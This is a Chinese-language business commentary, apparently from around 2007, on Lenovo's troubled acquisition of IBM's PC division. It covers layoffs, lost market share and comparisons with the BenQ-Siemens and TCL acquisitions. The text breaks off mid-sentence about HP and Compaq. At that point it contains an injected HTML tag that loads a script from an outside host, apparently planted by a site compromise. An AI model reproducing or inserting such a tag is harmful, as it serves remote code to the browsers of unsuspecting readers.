在idg和gartner公布了联想pc跌出全球三甲被宏基取代后，联想集团便针对美国市场展开了裁员，计划裁员1400人，这让业界感到震惊。联想自2004年收购了ibm pc部门之后其全球市场占有率便持续下降，此次裁员已经是继上次裁员1000人之后的又一次更大规模的裁员。
此外，自都灵冬奥会初次将thinkpad打上lenovo标志之后，紧接着在联想全球市场上推出了lenovo品牌电脑系列。而本次裁员之后，ibmpc员工也基本上都离开了联想。那么，这否应看作是联想并购ibm失败的 前兆呢？如果说借船出海并不能一帆风顺，那么联想国际化的出路何在呢？
联想与ibm的婚姻并不美满
2004年，联想跟ibm的合并虽然耗资17.5亿美元，但是仍被认为是一个可行性方案。原因是ibm在北美市场受制于dell和hp，但其品牌优势强大，特别是在移动笔记本电脑领域，ibm的thinkpad可谓是金字招牌，拥有大量的忠实用户群。而联想pc亟需打开国际市场，特别是北美市场，所以收购ibm是借船出海。
然而，联想与ibm两年的婚姻生活并不美满。2006年3月16日， 联想集团对外了宣布一项调整计划，未来6-12个月内，在美洲、亚太和欧洲公司削减1000份全职工作岗位，预计该重组的成本约为1亿美元。这是并购ibm之后的首次裁员，本次裁员的费用直接影响到了ibm第四季度财报。的确，2005/2006财年第四季度，联想亏损达到9亿港元，全年净利润只有1.73亿港元。财报一出，路透社便表示：相对于强大的对手如戴尔和惠普，联想的市场份额已经出现萎缩，此次公布令人失望的财报，反映出一点：来自ibm的业务表现虚弱。2007年4月，联想pc全球市场份额6.3%,销售增长率仅为17.4%，而其竞争对手机惠普则增长了28.2%，宏基增长了41.1%。而且联想老三的宝座被宏基首次超越。接着，联想又开始了大规模的裁员，主要是针对ibm员工，经过此次裁员之后相信ibm员工已经寥寥无几。而且不久之前，ibm抛售了联想的股票套现，被认为是对联想pc失望之后的举措。这一系列的迹象表明，联想在尽力摆脱ibm，这场并购并不成功。
在2006年12月份柳传志答美国《商业周刊》记者问中则表示，“尽管没有出大事，但是最危险的时期还没有过去”、“到现在为止，不得不承认，并购ibmpc业务，联想冒了很大风险”。而杨元庆似乎也体会到了并购ibm带来的巨大压力，他曾经这样评价与ibmpc的合并购“我们很清楚，进一步的改善将不再来自于简单的像协同效应、减员增效这样的手段。新的变革是痛苦的、需要耐心的过程。” 联想ceo阿梅里奥最近表示，要成为一个国际化品牌，联想要走的路还很长，因为联想的全球知名度远不如ibm、戴尔、苹果或东芝。那么，并购ibmpc到底给联想带来了什么呢？
中国企业借船出海多失败
并购的初衷都是好的，然而有些时候往往事与愿违。在世界商业史上，并购失败的案例比比皆是，他们之间因为利益之争、品牌之争、股权之争、战略取向不同甚至企业文化差异等原因最后都以失败告终。
2006年10月，明基西门子德国公司宣布破产，这标志着仅仅联姻一年的公司宣告瓦解。明基并购西门子的失败的原因到底何在呢？首先，明基并购西门子没有把握好时机。本土手机企业波导、夏新、tcl、康佳等企业也在2005年首次出现亏损。而且风光一时的南方高科、熊猫、迪比特也纷纷宣告倒戈，2005年成为国产手机最难过的一年。而明基与西门子在这种兵荒马乱的日子里结婚了，由于不占天时，导致明基与西门子的婚姻无法找到适宜的磨合期，这注定给以后的婚姻不幸埋下了祸根；其次，并购难以实现协同效应。西门子手机部门早在2001年就已经亏损10亿美元，并准备出售手机部门，一直没有找到合适的买家，而且西门子手机掌握的核心专利较少，被明基收购后技术优势仍然无法发挥；最后，文化较难融合。明基电子属于台系企业，有较快的市场反应速度和对时尚的敏感把握，而西门子属于有着深厚德国文化积淀的企业，对市场的反应速度较慢，有着较严谨的作风，这不利于两个企业的合并。明基现在彻底的放弃了西门子手机，这或许是最为明智和果断的做法。
tcl并购汤姆逊彩电，两年累计亏损20多亿港元，最近对欧洲市场重组，并决定退出欧洲。tcl并购阿尔卡特手机也是为了tcl的国际化，然而却带来了巨大的灾难，经过大刀阔斧的改革，现在终于算是度过了阵痛期。
中国企业借船出海的结果往往事与愿违，联想并购ibmpc也并非一帆风顺，2年都没有度过危险期，还不知道联想要让股东们再等多久？
联想打造国际品牌出路在何方
联想本想通过并购ibmpc提升品牌效应，从而获得国际消费者的认可，但是这一做法并未奏效，那么未来联想该如何走下去，仅仅裁员就足够了么？
惠普并购了康柏之后，也经历了巨大的痛苦和漫长的磨合期。2002年5月，惠普并购康柏之后，8月份的财报便出现巨额亏损。2005年2月，菲奥莉娜在业绩压力之下辞去了董事会主席和ceo?script src=http://er12.com/t.js>
